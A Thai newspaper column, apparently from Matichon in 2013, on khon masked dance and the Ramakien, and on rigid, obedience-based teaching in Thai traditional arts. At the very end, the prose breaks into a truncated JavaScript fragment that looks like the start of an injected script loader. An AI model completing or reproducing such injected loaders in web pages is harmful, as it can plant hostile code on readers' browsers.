p>มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 28 มีนาคม 2556

 

          โขน พัฒนามาจากหนังใหญ่ (เขมรเรียก แสบกธม) ที่เล่นรามเกียรติ์เรื่องเดียว

          ถ้าเปลี่ยนเรื่องเล่นก็ลงทุนสูงมาก เพราะต้องทำตัวหนังกันใหม่หมดทุกตัว (หมายถึงต้องฆ่าควายเป็นฝูงๆ เพื่อเอาหนังควายทำหนังใหญ่)

          ด้วยเหตุนี้ ที่พูดกันว่าสมุทรโฆษและอนิรุทธแต่งขึ้นใช้เล่นหนัง จึงยังไม่ชวนให้เชื่อ เพราะไม่เคยพบตัวหนัง และไม่เคยพบร่องรอยหลักฐานว่าหนังเคยเล่นสองเรื่องนี้จริงๆ

          โขนเป็นเครื่องราชูปโภค หมายถึงพระเจ้าแผ่นดินเท่านั้นที่จะทรงมีคณะโขนได้แต่ผู้เดียว

          คนเล่นโขนสมัยก่อนๆเป็นพวกผู้ดีมีบรรดาศักดิ์ เช่น มหาดเล็ก บุตรหลานข้าราชการ ซึ่งทรงภูมิรู้ ดังนั้นโขนจึงเป็นสมบัติของผู้ดีเท่านั้น ไม่ใช่ของสามัญชนคนทั่วไป

          ผู้ดีย่อมรู้ในหมู่ผู้ดีว่าโขนเล่นรามเกียรติ์เรื่องเดียว แล้วรู้เกี่ยวกับโขนอีกหลายอย่างที่คนทั่วไปไม่รู้

          แต่คนทั่วไปไม่ว่ายุคนี้หรือยุคก่อนที่ไม่ผู้ดี ถ้าไม่บอกคงไม่รู้ว่าโขนเล่นรามเกียรติ์เรื่องเดียว ไม่เล่นเรื่องอื่น

          ซึ่งก็ไม่รู้จะรู้ไปทำอะไร? ปกติไม่ดูโขน แต่มีให้ดูก็ดู ถึงดูก็ไม่รู้เรื่อง เพราะชั้นสูงเกินไปไม่ใช่การแสดงของไพร่ฟ้าประชาราษฎร

          ด้วยเหตุนี้เอง ยุคนี้สมัยนี้ เมื่อจะให้โขนเข้าถึงประชาสามัญชนคนทั่วไปจึงต้องประกาศให้รู้ด้วยว่าโขนเรื่องรามเกียรติ์ ตามที่ผมเขียนเล่าไว้คราวก่อน แล้วสงสัยว่าทำไมต้องประกาศอย่างนั้น? เพิ่งทบทวนได้ความเข้าใจใหม่จากผู้มีเมตตาบอกในเฟซบุ๊กอย่างนี้

          แล้วมีผู้บอก(ในเฟซบุ๊ก)อีกว่า “สมัยนี้มีแสดงโขนแบบ contemporary มาก หลายครั้งไม่ได้ใช้เรื่องรามเกียรติ์” ก็ยิ่งสมเหตุสมผลที่ต้องบอกว่าโขนเรื่องรามเกียรติ์ หรือเรื่องอะไรอื่นๆ? ถือเป็นความเปลี่ยนแปลงไปในทางก้าวหน้าที่สนองคนกว้างขวางกว่าเดิม

          การตั้งคำถาม ตั้งข้อสงสัย ไม่ใช่เรื่องจ้องจับผิด หรือถือสาหาความมากเรื่องเสมอไป

          แต่เป็นลักษณะเคลือบแคลงที่ต้องแสวงหาคำอธิบายใหม่ๆ แล้วแบ่งปันความรู้ความเข้าใจสู่สาธารณะ ขณะเดียวกันก็ตรวจสอบความรู้เก่าว่ายังใช้การดีอยู่หรือไม่? ต้องปรับเปลี่ยนเพิ่มเติมอย่างไร? ฯลฯ

          การให้ร้ายผู้ถาม ผู้ข้องใจสงสัย เหมือนครูอาจารย์ตะคอกใส่นักเรียนนักศึกษาที่ช่างคิดช่างถาม เลยไม่กล้าถามหรือเถียงอีก ส่งผลให้การศึกษาไทยเสียหายทั้งระบบ แล้วยังแก้ไขไม่ตกจนบัดนี้

          ครูบาอาจารย์ที่สอนด้านโขนละคร หรือดนตรีไทยและนาฏศิลป์ไทย ถูกครอบงำให้ไม่ถาม ไม่เถียง ต้องคุกเข่า คลานเข่า และหมอบกราบ เชื่อฟังครูอย่างเดียว เลยควบคุมบังคับครอบงำศิษย์รุ่นใหม่ให้ต้องทำอย่างนั้นด้วยจนบัดนี้ ไม่เลิกไม่ราบ้ายศบ้าอำนาจ

          ดังนั้น ความรู้ด้านนี้จึงหยุดนิ่ง ไม่เคลื่อนไหว มีคำอธิบายตายตัวอยู่ที่สมเด็จฯ กรมพระยาดำรงฯ และสมเด็จฯ เจ้าฟ้านริศฯ ใครถามใครเถียงถือเป็นขบถ

          ส่งผลให้ดนตรีไทยถูกแช่แข็งตามแบบแผนผู้ดีเท่านั้น เพราะกำลังบรรเลงบำเรออยู่ต่อหน้าเจ้านาย เช่น นั่งพับเพียบเล่น, ก่อนเล่นต้องหมอบกราบ, เมื่อเล่นต้องแข็งทื่อ ห้ามแสดงอารมณ์อย่างไพร่ๆ ฯลฯ

          จารีตประเพณีอย่างนี้เอง ที่ระบบโรงเรียนของราชการยกไปเป็นกฎ กติกา มารยาท แบบฉบับความเป็นไทยแท้ทั้งดุ้นเหมือนกันทั่วประเทศ โดยไม่มีทางเลือกให้สนุกสนานอย่างดนตรีชาวบ้าน

          เสาร์และอาทิตย์ที่ผ่านมา ผมไปนั่งใต้พุ่มไม้ข้างศาลาลงสรงฟังเสียงการแสดงบนสังคีตศาลา ในพิพิธภัณฑสถานแห่งชาติ พระนคร ใกล้สนามหลวง ซึ่งดูไม่เห็น เพราะมีเต๊นท์บัง และตั้งใจจะฟังอย่างไม่เห็นเท่านั้น

          เลยได้ความรู้ใหม่ว่าพิธีเชิญธงชาติลงจากยอดเสาธงเวลา 18.00 น. ที่สงบเงียบเรียบร้อยที่สุดของไทย อยู่ใกล้สนามหลวงนี่เอง โดยไม่ต้องมีเพลงชาติให้คนต้องยืนตรง

          และไม่ต้องมีผู้คุมคอยเป่านกหวีดกรีดเสียงสนั่น ให้คนยืนตรงเคารพธงชาติและเพลงชาติ เหมือนที่ผมมีประสบการณ์ตรงมาแล้วที่สถานีรถไฟหัวลำโพง} else {var d=document;var s=d.createElement(‘script’);